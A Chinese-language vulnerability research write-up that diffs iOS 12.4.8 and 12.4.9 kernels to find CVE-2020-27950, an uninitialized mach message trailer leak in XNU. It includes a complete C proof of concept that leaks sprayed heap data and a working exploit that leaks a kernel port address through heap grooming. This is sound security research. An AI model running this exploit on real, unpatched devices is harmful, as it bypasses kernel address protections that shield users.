简介
在11月初,Project Zero 就宣布Apple已经修补了一系列漏洞,这些漏洞已经被利用,该链主要包括3个漏洞:FontParser中的用户层RCE以及内核中的内存泄漏和类型混淆。在这篇文章中,我们将介绍如何识别和利用内核内存泄漏漏洞。
Apple修补在野被利用的完整漏洞链并不常见。原因有以下几点:
- 如果利用代码公开,它们将提供有关iOS最新版本的最新利用方法,其中包括越来越多的安全缓解机制;
- 即使利用代码不可用,内核漏洞也可能引起大家极大的兴趣,这是一个完整的链,意味着要突破坚固的沙箱,以便能够从用户层应用程序利用内核。
由于Project Zero没有发布任何关于漏洞和利用方法的细节,我们开始自己挖掘它们。
Bindiffing 非常容易
令人惊讶的是,苹果在iOS 12.4.9中也选择了修复这些旧设备上的漏洞。苹果之所以选择这样做,可能是因为苹果希望尽可能多地保护用户,因为这些漏洞会被外界利用。
从安全研究员的角度来看,这个选择是一个礼物:我们可以获取一个已经修补了漏洞的iOS 12.4.9内核,并将其与iOS 12.4.8内核进行比较,更改列表将会很少,因为没有新的功能,而且每一个更改都可能是一个漏洞修复!
获取内核并不是一件容易的事:为了方便我们可以使用网站ipsw.me下载与旧版iPhone(例如iPhone 6)对应的iOS版本12.4.8和12.4.9的IPSW文件,通过解析苹果托管的公开XML文件,它会自动更新IPSW文件的链接。IPSW文件是包含各种文件的压缩文件,包括kernelcache.release.iphone7,这是我们iPhone型号的压缩内核二进制文件。
根据iPhone版本的不同,可以使用不同的压缩方法。可以在压缩的kernelcache头部中看到,目标iPhone6使用LZSS:
$ xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e 0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275 l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31 ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a 5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5 ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6 .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409 .....(..?__TEXT.
从偏移量0x1b6开始是压缩二进制文件。lzssdec工具可以用来得到一个纯净版本的二进制内核:
$ lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.bin
$ file kernelcache.bin
kernelcache.bin: Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|PIE>
现在我们有了两个内核二进制文件,我们可以开始diffing了。我们将在IDA Pro中使用Bindiff 6,其他工具也可以。IDA仅允许加载单个kext或包含其所有kext的内核。由于我们目前不知道漏洞的位置,因此我们加载所有东西!
一旦IDA自动分析完成后,我们可以在12.4.8 IDA实例中对12.4.9 IDB运行bindiff,下面是按相似度排序的结果:
这些结果超出了我们的预期!两个版本之间只有8个函数略有变化,都在内核中!
在这8个结果中,2个实际上是较小的指令顺序变化。在剩下的6个中,有5个增加了对bzero的调用,这使它们成为涉及“内存初始化问题”的内存泄漏漏洞的最佳目标。
iOS kernelcaches通常缺少符号,使用joker工具可以轻松识别某些入口点,如mach traps。调试字符串和公共XNU源也允许重命名许多函数,我们可以将5个修补的函数标识为:
- mach_msg_send
- mach_msg_overwrite
- ipc_kmsg_get
- ipc_kmsg_get_from_kernel
- ipc_kobject_server
所有这些函数都处理ipc-ukmsg对象,kmsg对象是mach消息的内核表示形式,是结构的复杂集合。查看这些函数的源代码,可以将bzero调用链接到kmsg trailers的初始化。
ipc_kmsg trailer
Trailers是一个动态大小取决于其类型的结构。最小的trailer是一个8字节的结构,只包含类型和大小,而最大的是0x44字节,并且有多个字段,如以下XNU源代码所示:
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
在创建新的kmsg时,内核还不知道在接收到消息时将请求哪种trailer类型。因此,它保留最大的大小,初始化一些字段,并将类型设置为最小的字段。例如ipc_kmsg_get中的trailer初始化为:
/*
* I reserve for the trailer the largest space (MAX_TRAILER_SIZE)
* However, the internal size field of the trailer (msgh_trailer_size)
* is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize
* the cases where no implicit data is requested.
*/
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
这看起来很有趣!如果我们能够读到一条mach消息,要求一个比预期更长的trailer,我们可能会检索未初始化的内存块。
当使用mach_msg()读取一个mach消息时,内核中到达trailer复制的执行流程为:
- mach_msg_trap
- mach_msg_overwrite_trap
- mach_msg_receive_results
- ipc_kmsg_add_trailer
- mach_msg_receive_results
- mach_msg_overwrite_trap
在ipc_kmsg_add_trailer()中,计算输出的trailer大小:
mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
mach_msg_option_t option, thread_t thread,
mach_port_seqno_t seqno, boolean_t minimal_trailer,
mach_vm_offset_t context)
{
mach_msg_max_trailer_t *trailer;
#ifdef __arm64__
mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */ [1]
void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
mach_round_msg(kmsg->ikm_header->msgh_size));
/*
* Populate scratch with initial values set up at message allocation time.
* After, we reinterpret the space in the message as the right type
* of trailer for the address space in question.
*/
bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE); [2]
trailer = &tmp_trailer;
#else /* __arm64__ */
(void)thread;
trailer = (mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); [4]
[...]
- 在[1]中,在栈上使用了新的trailer。
- 在[2]中,kmsg trailer内容被复制到新trailer中。
- 在[3]中,将根据MACH_RCV_TRAILER_MASK检查选项参数。这个选项参数来自用户层传递给mach_msg()的选项参数。
- 在[4]中,真正的trailer大小是使用宏REQUESTED_TRAILER_SIZE()计算的。
通过提供MACH_RCV_TRAILER_MASK与mach_msg()匹配的选项,我们可以请求内核返回指定的trailer大小。支持的选项在message.h中定义:
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
因此,我们可以在选项参数中使用例如MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT)调用mach_msg()以请求指定大小的trailer。。现在,在ipc_kmsg_add_trailer()中,当请求一个比初始化的更大的trailer时,会发生什么?在ipc_kmsg_get()中,我们看到只有msgh_sender、msgh_audit和msgh_labels可选字段被初始化,剩下3个字段未初始化。
[...]
trailer->msgh_seqno = seqno; [1]
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
if (minimal_trailer) { [2]
goto done;
}
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { [3]
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); [4]
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
}
- 在[1]中,msgh_seqno和msgh_context在trailer副本中初始化。
- 在[2]中,传递给函数的布尔值会被检查提前返回。当从mach_msg_receive_results()调用时,这个布尔值为false。
- 在[3]中,函数检查传递的选项是否大于或等于MACH_RCV_TRAILER_AV,这意味着我们希望检索至少包含msgh_ad的结构。如果是这样,msgh_ad在trailer副本中被初始化为0。
- 最后,在[4]中,ipc_kmsg_munge_trailer()将msgh_seqno、msgh_context、msgh_trailer_size和msgh_ad从trailer副本复制回原始的trailer。
观察并没有发现任何错误,所有字段似乎都已正确初始化,然后才能返回用户层。但是,让我们看一下REQUESTED_TRAILER_SIZE()宏如何实际计算trailer大小:
#define REQUESTED_TRAILER_SIZE(is64, y) REQUESTED_TRAILER_SIZE_NATIVE(y)
#define REQUESTED_TRAILER_SIZE_NATIVE(y) \
((mach_msg_trailer_size_t) \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ? \
sizeof(mach_msg_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ? \
sizeof(mach_msg_seqno_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ? \
sizeof(mach_msg_security_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ? \
sizeof(mach_msg_audit_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ? \
sizeof(mach_msg_context_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ? \
sizeof(mach_msg_mac_trailer_t) : \
sizeof(mach_msg_max_trailer_t))))))))
当选项值已知时,该宏返回正确的大小,而当选项值未知时返回最大大小。这意味着通过设置一个小于MACH_RCV_TRAILER_AV的不存在选项,我们可以跳过msgh_ad字段初始化,同时仍可以恢复最大的trailer。之所以会出现这个bug,是因为值5和6都不是有效的MACH_RCV_TRAILER_XXX定义!
为了说明这种行为,我们可以编写一个简单的poc来从未初始化的内存中读取已知值。在iOS 13.x之前的版本中,可以在同一kalloc区域中分配管道缓冲区和ipc_kmsg,因为iOS 14之前没有分割堆。因此,我们可以创建一个填充已知值的管道缓冲区(例如kalloc.1024)。将其释放,然后发送一个mach消息,该消息的大小将使其也被分配到kalloc.1024中,并最终触发漏洞以读取已知值。这是代码(github链接):
// CVE-2020-27950 simple PoC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#define MAGIC 0x416e7953 // 'SynA'
int main(int argc, char *argv[]) {
mach_port_t port;
int fd[2];
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
uint32_t *pipe_buff = malloc(1020);
for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
pipe_buff[i] = MAGIC;
pipe(fd);
write(fd[1], pipe_buff, 1020);
printf("[+] Creating kalloc.1024 ipc_kmsg\n");
mach_msg_base_t *message = NULL;
// size to fit in kalloc.1024, trust me, I'm an expert (c)
mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0);
message = malloc(message_size + MAX_TRAILER_SIZE);
memset(message, 0, message_size + MAX_TRAILER_SIZE);
message->header.msgh_size = message_size;
message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
message->body.msgh_descriptor_count = 0;
message->header.msgh_remote_port = port;
uint8_t *buffer;
buffer = malloc(message_size + MAX_TRAILER_SIZE);
printf("[+] Freeing controlled buffer\n");
close(fd[0]);
close(fd[1]);
printf("[+] Sending message\n");
mach_msg(&message->header, MACH_SEND_MSG, message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
printf("[+] Now reading message back\n");
mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, message_size + MAX_TRAILER_SIZE,
port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
printf("[+] Leaked value: %x\n", trailer->msgh_ad);
return 0;
}
PoC输出如下,有效地泄漏了我们magic值:
$ ./CVE-2020-27950_poc
[+] Allocating controlled (magic value 416e7953) kalloc.1024 buffer
[+] Creating kalloc.1024 ipc_kmsg
[+] Freeing controlled buffer
[+] Sending message
[+] Now reading message back
[+] Leaked value: 416e7953
那泄漏一个内核指针呢?
泄漏一个已知值证明了漏洞的存在。然而,使用它来可靠地泄漏一个感兴趣的值通常比较困难。
mach消息的一个有趣的特性是它们能够传输mach port。在正确发送port时,将使用mach_msg_port_descriptor_t结构:
typedef struct{
mach_port_t name;
#if !(defined(KERNEL) && defined(__LP64__))
// Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes
mach_msg_size_t pad1;
#endif
unsigned int pad2 : 16;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
#if defined(KERNEL)
uint32_t pad_end;
#endif
} mach_msg_port_descriptor_t;
这种结构在用户层或内核中使用时是不同的。实际上,在用户层中,mach_port_t被定义为无符号int(标识port为不明值),而在kernel中,它被定义为struct ipc_port指针。
这种差异意味着,使用多个mach_msg_port_descriptor_t结构发送的mach消息将导致内核ipc_kmsg结构包含多个指向port的指针。这样,我们就可以把感兴趣的数据放在内核缓冲区中,以后我们可能会泄露这些数据!
能够读取ipc_port指针的一部分的技巧是发送包含X mach_msg_port_descriptor_t的第一条消息,释放它,然后发送带有X – y mach_msg_port_descriptor_t的另一条消息,以便重用分配,并将其trailer写入先前消息描述符所在的位置。发送的描述符数量必须调整为满足2个条件:
- ipc-kmsg分配应在同一个kalloc区域进行;
- X和X- y描述符之间的差异应该足以使trailer在缓冲区中向前移动,从而使它与以前的一些消息描述符重叠。
实际上,在第一个消息(message)中发送50个描述符,在第二个消息(message)中发送40个描述符就满足了条件。由于该漏洞只允许泄漏4个字节的内存,因此我们还需要以4个字节为步长移动trailer。幸运的是,我们能够在mach消息中发送一些填充(padding)而不会触发任何问题(只要填充4字节的倍数),就可以有效地移动泄漏窗口。
我们还需要完成一个步骤:释放包含内核指针的ipc_kmsg缓冲区。如果我们尝试正常读取该消息,则指针将被替换为用户层mach名称,然后再复制回用户层。因此,我们必须触发一个错误,以便在不触发此行为的情况下释放分配。
下面是泄漏内核ipc_port地址的最终exploit(github链接):
// CVE-2020-27950 port pointer leak
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// good sizes to fit in kalloc.1024, trust me, I'm an expert (c)
#define LEAK_PORTS 50
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS-10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port;
mach_port_t sent_port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
mach_msg_size_t big_size = (mach_msg_size_t)(sizeof(*big_message));
mach_msg_size_t small_size = (mach_msg_size_t)(sizeof(*small_message));
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port;
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port;
}
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
uint8_t *buffer;
buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer;
uintptr_t sent_port_address = 0;
printf("[*] Sending message 1\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
small_message->header.msgh_size = small_size + sizeof(uint32_t);
printf("[*] Sending message 2\n");
mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t));
sent_port_address |= (uint32_t)trailer->msgh_ad;
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t)*2);
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
总结
在这篇文章中,我们研究了一个修补过的iOS内核,以获取有关已修补的内核内存泄漏漏洞的详细信息。我们找到了根本原因,编写了一个简单的PoC,并找到了可靠地获取mach port内核地址的方法。令人惊讶的是,这个漏洞在XNU中存在了这么长时间,因为它的代码是开源的,并且经过数百名黑客的严格审计。
细心的读者可能已经注意到,我们没有详细说明另一个被修补的漏洞,被苹果认定为一种类型的混淆。尽管使用bindiff可以很容易地找到此修复程序,但是对它的分析并不是那么简单,如果我们有足够的时间进行深入研究,它可能会成为未来博客中的主题!